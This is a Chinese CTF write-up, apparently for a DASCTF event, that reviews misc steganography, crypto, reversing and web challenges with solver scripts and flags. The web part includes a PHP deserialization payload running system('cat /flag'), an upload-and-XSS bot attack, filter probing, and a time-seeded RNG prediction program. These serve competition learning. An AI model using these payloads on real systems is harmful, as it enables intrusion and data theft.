在回校后,学校发了这个技术竞赛,但是没有时间去准备(论文害人不浅啊),只在比赛前一星期刷了一下题,所以在比赛中直接就是g了。现在结束了,根据留下来的一些附件和题目进行复盘。
打开这个题目后,是一个网站。
我一看是个网站,就想抓包。
但是发现bp抓不到。没办法,只能先去看看他的源代码。
在看代码的时候发现他判断,当roll出来的值等于1337的时候,会弹窗出来flag。
我就想,这哪能硬roll啊,谁roll的出来啊。
于是就在控制台输入代码
var _0x14184c = [0x38, 0x6f, 0x1e, 0x24, 0x1, 0x32, 0x51, 0x45, 0x1, 0x3c, 0x24, 0xb, 0x55, 0x38, 0xa, 0x5d, 0x28, 0x12, 0x33, 0xb, 0x5d, 0x20, 0x1e, 0x46, 0x17, 0x3d, 0x10, 0x2a, 0x41, 0x44, 0x49, 0x1a, 0x31, 0x5a]
, _0x477866 = '';
for (var _0x6698b7 = 0x0; _0x6698b7 < _0x14184c['length']; _0x6698b7++)
_0x477866 += String[_0x38f496(0xd9)](_0x14184c[_0x6698b7] ^ _0x6698b7 + 0x5a);
alert(_0x477866);
一运行,就这样,弹出了flag。
这个图片,说实话,刚拿到的时候,我以为是那种crc校验改宽高,搞了一下发现,不行。
然后又在kali试binwalk看看有没有拼接。
这一试,给我带弯了,我搁那看sql数据,试编码,最后发现我就是个小丑,根本就不对。
最后,直接点开图片放大一看,李爸爸的,像素都是文字嘟嘟噜。
于是就猜测是lsb隐写。
因为这每个字都是16*16,且都有口字旁,于是从这个口字下手。
from PIL import Image
im = Image.open('Steins_Gate.png')
pix = im.load()
width = im.size[0]
height = im.size[1]
im1 = Image.new("RGB", (int(width / 16), int(height / 16)))
for i in range(0, width, 16):
for j in range(0, height, 16):
dic = {}
for x in range(i, i + 16):
for y in range(j, j + 16):
r, g, b = pix[x, y]
if (r, g, b) in dic:
dic[(r, g, b)] += 1
else:
dic[(r, g, b)] = 1
sorted_dict = sorted(dic.items(), key=lambda x: x[1], reverse=True)
if sorted_dict[0][0]!=(211, 211, 211):
print(sorted_dict)
im1.putpixel((int(i / 16), int(j / 16)), sorted_dict[0][0])
else:
im1.putpixel((int(i / 16), int(j / 16)), sorted_dict[1][0])
im1.show()
im1.save("output.png")
运行完代码后,出来了图片。
好家伙,终于把这个嘟嘟噜给去了。
然后使用stegsolve工具进行查看。
一看,发现base64的东西,所以赶紧导出来看看。
导出来这个bin文件一看,每个==后面都坤巴带着12字节的乱码。
那肯定不能手动去啊,我手不得抽了啊。
with open('1.bin','rb')as f:
with open('1.txt','wb') as f1:
data=f.read()
for i in range(0,len(data),252):
f1.write(data[i:i+240])
f1.write(b'\n')
脚本一用,过滤一下东西,再输出成txt
然后拿过去base解码。
一解,捏麻麻滴,还是图片。
导出来一看。
长这个鸟样。
试了一波发现是jpg隐写。使用outguess,惊了,还有密码。
回过头去base里面找,肯定藏那了。
import base64
bin_str=''
b64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
with open('1.txt','r') as f:
for line in f.readlines():
stegb64="".join(line.split())
rowb64="".join(str(base64.b64encode(base64.b64decode(stegb64)),'utf-8').split())
offset=abs(b64chars.index(stegb64.replace('=','')[-1])-b64chars.index(rowb64.replace('=', '')[-1]))
equalnum=line.count('=')
if equalnum:
bin_str += bin(offset)[2:].zfill(equalnum * 2)
#print(bin_str)
print(''.join([chr(int(bin_str[i:i + 8], 2)) for i in range(0,len(bin_str),8)]))
运行完代码后,密码出来了。
又是你嘟嘟噜。
DuDuLu~T0_Ch3@t_THe_w0r1d
最后用这个密码使用outguess拿下。
下载附件,yuanshen,qidong!
我直接就是查看二进制。
一看,诶,原神玩多了,人都倒过来了是吧,FF D8 FF E0的图片倒序。
我直接,就是一个天翻地覆。
import binascii
with open('yuanshen','rb') as file1:
with open('yuanshen.jpg','wb') as file2:
hex_list = ("{:02X}".format(int(c)) for c in file1.read())
for i in hex_list:
file2.write(bytes.fromhex(i[::-1]))
拿下这个图片。
这不是大万叶吗。
反手一个steghide我来一个黑虎掏心拿到密文。
一看,搁着摩斯密码变脸呢,将dash转-dot转.
然后拿去解密
直接到手flag。评价为,挽圆身挽的。
看到这个题目,我乐了,简单php,我看看你多简单。
我测,这个unserialize,一眼反序列化。
这几个类,也是一眼的货,b用来debug,c直接中间商传给a,a更是逆天eval执行代码。
我直接打开我放置已久的phpstudy,狠狠的输入世界上最好的语言php
param1 = $c;
$c->func = $a;
$a->cmd = "system('cat /flag');";
echo urlencode(serialize($b));
然后访问网址获得
诶,怎么还url编码上了呢,
没办法再拿去解了一下
O:3:"BBB":1:{s:6:"param1";O:3:"CCC":1:{s:4:"func";O:3:"AAA":1:{s:3:"cmd";s:20:"system('cat /flag');";}}}
到手。
然后构造参数就直接拿下flag。
?aaa=O:3:"BBB":1:{s:6:"param1";O:3:"CCC":1:{s:4:"func";O:3:"AAA":1:{s:3:"cmd";s:20:"system('cat /flag');";}}}
这个题一眼代审,为什么一眼,因为他附件把源码放那了,哈哈哈。
我直接打开seay代码审计,我审什么,我审flag啊。
直接全局搜索。
哦,我的flag,藏在了admin页面下。
再四次看看,看就个上传接口。
木得办法,使用上传和xss组合拳,叶师傅,切他中路。
利用这个html,上传在public/upload
上传后,触发bot访问就获得flag啦。
这个题,一拿到我是蒙的,这么嚣张吗直接写出来了。
我直接一个cat fla*
李爸爸的,给我拦了。简直不是人啊。
两眼一黑,不知道他过滤了啥,尝试用file_get_contents看看页面
嘿嘿,直接给你透了。
反手嵌套构造一下,我直接ls查看你,来让我康康。
好嘛,flag在这放这。
申请访问!
纳尼,不能直接读,哪有这种道理,我不答应。
我直接在/tmp/src下查看你源码。
发现题目的源码,其随机数生成有缺陷,种子是time(0),因此可以写一个c语言程序,得到10秒之后的结果,输出到文件里,再将文件重定向给/readflag,即可通过计算题检查
int main(){
unsigned int v3 = time(0)+10;
unsigned int v9;
unsigned int v10;
srand(v3);
int v11 = rand() % 101 + 100;
printf("y\n");
for (int i = 0; i < v11; ++i){
v10 = rand() % 1000000;
v9 = rand() % 9000000;
printf("%d\n", v10+v9);
}
}
我文件一传,编译一下,权限一加,然后将运行结果写入a文件,再将a文件重定向给readflag
最后获得flag。
这个题就是签到送分。
直接运算出值,然后转换成ASCII码,就得到flag:
DASCTF{9d811301-281b-4f4a-8d1a-b38beccf2285}
这个题打开附件一看,给出代码求解密。
先来一个脚本求低指数d
import sage
ct = [10517482889776460226798449006280081167663671198448544453304563030553066300585088657159799516828057458092448853052920, 10402402380108575947733278581108880071660185906203575453837669489513650182676772750843558327746184945922314875098996, 452239510514900186933709062848646640558105660312444312121851933676754687850508865659206624803226663304812888272594694285123823218948165607478144589871322148031514596122654196640778853480169180864412134209693877604844174450602155353, 137939931394124279393027766586199451754893501053862574760060288577053514723631473985259186063729745515767167268309839903521149677958518517988564142828176577685619561913731155508981456507557881596602396073589127827579264760182112015, (312312975924665463422872243489714243976133330669934414246404507993066820310886215600585539115436654843078716170526368558972800117033427241194242498913898005160762151892979826292737941332916578310350510245475526522735894588645243659, 422891099305786578397746684898210811095359530216631541482542541898542508551347882962281401572399110483550691802487377837504493122807091311281569558317360479103461652558448871769150783477147866528115922507893061101403528629595165327)]
a,b,n,e,(Cx,Cy) = ct
E = EllipticCurve(Zmod(n),[a,b])
C = E(Cx,Cy)
O = E(0,1,0)
c = continued_fraction((e/n))
for i in range(200):
d,k = (c.denominator(i),c.numerator(i))
print(d)
if C*(e*d-1) == O and d != 1:
print(d)
break
获得d=861078593737268627868079
然后求m值
import sage
ct = [10517482889776460226798449006280081167663671198448544453304563030553066300585088657159799516828057458092448853052920, 10402402380108575947733278581108880071660185906203575453837669489513650182676772750843558327746184945922314875098996, 452239510514900186933709062848646640558105660312444312121851933676754687850508865659206624803226663304812888272594694285123823218948165607478144589871322148031514596122654196640778853480169180864412134209693877604844174450602155353, 137939931394124279393027766586199451754893501053862574760060288577053514723631473985259186063729745515767167268309839903521149677958518517988564142828176577685619561913731155508981456507557881596602396073589127827579264760182112015, (312312975924665463422872243489714243976133330669934414246404507993066820310886215600585539115436654843078716170526368558972800117033427241194242498913898005160762151892979826292737941332916578310350510245475526522735894588645243659, 422891099305786578397746684898210811095359530216631541482542541898542508551347882962281401572399110483550691802487377837504493122807091311281569558317360479103461652558448871769150783477147866528115922507893061101403528629595165327)]
a,b,n,e,(Cx,Cy) = ct
E = EllipticCurve(Zmod(n),[a,b])
C = E(Cx,Cy)
O = E(0,1,0)
d = 861078593737268627868079
m = C*d
m = m[0]
print(m)
m=11128701975003002451830070180124963432210643963625151562445648616092749705192497589889353199
最后求flag值
import libnum
m = 11128701975003002451830070180124963432210643963625151562445648616092749705192497589889353199
print(libnum.n2s(int(m)))
flag=Wi3ner_4ttac6_s0_m4gic
题目点开一看
两个字符串
Kln/qZwlOsux+b/Gv0WsxkOec5E70dNhvczSLFs+0pkHaovEOBqUApBGBDBUrH08
RUNCIDAgMTI4IHNpeCBudW1iZXJz
下面那个看着是base64,拿去一解。
发现是提示,aes加密128,6位密码
直接脚本爆破
import base64
from Crypto.Cipher import AES
import libnum
def zeropadding(password):
password = password + b"\x00"*(16 - len(password) % 16)
return password
def pkcs7padding(password):
l = 16 - (len(password) % 16)
password = password + (chr(l).encode())*(16 - len(password) % 16)
return password
line = open("superdic.txt","rb").readlines()
for i in line:
password = zeropadding(i[:-2])
text = base64.b64decode("Kln/qZwlOsux+b/Gv0WsxkOec5E70dNhvczSLFs+0pkHaovEOBqUApBGBDBUrH08")
aes = AES.new(password,AES.MODE_ECB)
den_text = aes.decrypt(text)
if(b"flag" in den_text or b"DASCTF" in den_text):
print(den_text)
print(password)
运行获得flag
下载完附件,一看,x方+y方=p
直接倒反天罡,脚本一写,给我逆。
s = 173178061442550241596295506150572803829268102881297542445649200353047297914764783385643705889370567071577408829104128703765633248277722687055281420899564198724968491216409225857070531370724352556864154450614891750313803499101686782558259953244119778256806332589612663957000269869144555485216828399422391672121
a,b = two_squares(s)
from hashlib import md5
print(md5(str(a+b).encode()).hexdigest())
运行获得flag
DASCTF{8ef20a4873c5ec776dd34bf5f0eb56cf}
附件一看,一眼pyc后缀。
给他还原成py文件
a = input('please input your flag:\n')
check = [102,109,99,100,127,52,114,88,97,122,85,125,105,127,119,80,120,112,98,39,109,52,55,106]
flag = ''
for idx, x in enumerate(check):
flag += chr(idx ^ x)
print(flag)
运行,要我输入flag?
我直接把你列表中的值拿过来输
直接获得flag。
这个apk更是逆天中的逆天,我ida打开显示apk文件损坏,我信了ida的邪,调了半天,最后没办法给他重新来过,换了个工具android killer
一编,我无语了,这会反编译出来了。
编译出来第一件事情搜索flag
找个半天在这看见flag 成功,下面是flag失败。
所以玄机肯定在这个文件中。
一看文件名刚好是main。一看两个值,这么显眼发红光啊。先给他放文本中。
再看中间夹着的东西invoke-static {v0, p1, v1}, Lcn/ix221/dasctf/DES
DES,什么加密啊,我非进去看看
进去一看aes,还是捏麻cbc
把东西往那一放
还少一个key啊。
找捏麻半天,在另一个mian文件中
隔这v2,v0又v1的不如直接给我得了
将v2的e换成3,就是key值了
r3v3rs3car3fully
然后丢过去解密